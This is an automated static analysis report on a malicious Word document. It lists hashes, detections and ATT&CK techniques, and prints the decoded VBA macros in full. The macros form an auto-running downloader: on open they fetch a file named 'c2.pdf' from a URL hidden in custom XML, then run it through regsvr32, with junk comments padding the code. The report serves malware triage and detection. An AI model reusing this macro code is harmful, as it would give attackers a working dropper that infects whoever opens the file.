Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 19e84fa825b31a43…

MALICIOUS

Office (OOXML)

116.3 KB Created: 2020-07-20 09:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 47330846e4af8a5441ee8cfbeaf1c514 SHA-1: e9f62d9fab6e5cc12fc2ce2ca2cfd2625ba14a77 SHA-256: 19e84fa825b31a4344d2d992facd69866001efd9d7ab9de2bba2f8bad54efa90
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. The 'autoopen' subroutine is triggered upon opening, which uses URLDownloadToFile to download a file named 'c2.pdf' from an unspecified location. Subsequently, it executes this downloaded file using the Shell() function. This indicates a downloader functionality, aiming to fetch and run a secondary payload.

Heuristics 6

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Canal conrad hand
Shell wu & bn & "32 c2.pdf"
End Sub
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Cd As LongPtr, ByVal fa As String, ByVal g3 As String, ByVal co As LongPtr, ByVal Cm As LongPtr) As Long
#Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
Lr = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3778 bytes
SHA-256: 4bc80b410464745b4a4516711a031763a82f56accf7827e895b6542d82e19454
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nb"
Function q2(Hx)
    
' Exalting immorality resolutions snowstorm
' Infirm businesses sent awe-inspiring specially macedonian belle darn
' Old-time overcrowded trained trieste
' Montenegro ruffian untitled

' Legislator concepts ochre
' Tba
' Bostonian mitsubishi pharmacy analyses impervious

' Buddy
' Unlettered permalink bashful
' Implementing watershed republican liturgy kong
' Gorgeous aquatic fires

' Glowered optimal federation melodrama bail

' Ably latina belle
' Tune quebec

' Alias welding royalty
' Cr. grill
' Footpath indigo middlesex fantastic holdem bight
' Denver algeria values
End Function
Sub autoopen()
Lr = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text

' Wan
' Secretion corner appease convoy
' Bankrupt new jamaica jane
' Blackguard lineage hansom viking
' Canon focal hawthorn
' Sunderland anymore pool

' Supernumerary
' Buffeted wrathful
frm.download Lr, "c2.pdf"

' Astounding inspiration mir on
' Declension eth
' Festival liturgy threaded availability elector onset
' Sickened bevis d i
' Unafraid
' Squad warrant

' Poise appendix landscape
' Attestation tonight synopsis foil

' Stuttgart tumor hey
' Mph voluminous

' Software briefly examining hz
' Train lips confessional surgeons
' Canal conrad hand
Shell wu & bn & "32 c2.pdf"
End Sub

Attribute VB_Name = "nb1"
Sub e4()

' Composed
' Buckle packs atheist mecca
' Harps wrapped
' Starter pro- inundation weird

' Experiment trinidad presidential complimentary own
' Bloodhound carrion article transitory
' Hike
' To material thousands integrating credence verify
' Considered flinty finals

' Athwart editor predilection

' Jp potentially want identity
' Hansom dude extenuation
' Includes fy fragrance amulet

' Intertwined
' Repugnance chase momentum

' Np net viands pasha palliation
' Remove
' Stronger upsetting revelation cognac

' Faculty airports additional broods seeds
' Defunct dunno
' Rap nativity liberating

' Survive zephyr
' Bishop waver dictionary
' Fifty-six remained esquire pin transitional mightnt

' Venezuela abe autem atlanta
' Dormant job turning

' Kentucky buffoon
' Medications outlay cardiff relating
' Sexcam foil
' Pre-

' Cheapest
' Race romania deutschland
' Unexplored durable olympus
' Factor hart

' Upheaval sixty-eight
' Menu masturbating provencal peking tongue-tied tiffany
' Maintained slight ed optimism
End Sub

Attribute VB_Name = "e"
Public Const wu As String = "reg"
Public Const bn As String = "svr"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Cd As LongPtr, ByVal fa As String, ByVal g3 As String, ByVal co As LongPtr, ByVal Cm As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Cd As Long, ByVal fa As String, ByVal g3 As String, ByVal co As Long, ByVal Cm As Long) As Long
#End If

Attribute VB_Name = "frm"
Attribute VB_Base = "0{9E7F5535-FA2C-4C48-8EA6-1AF2BAB89BB9}{EF2B86B9-598F-4E43-83B0-362E66088D44}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: 1447b7686fea3bf65960e7c64903112c65c3a3636a4c1290604212da26cb247a

Open this report in the interactive analyzer, or submit your own file for analysis.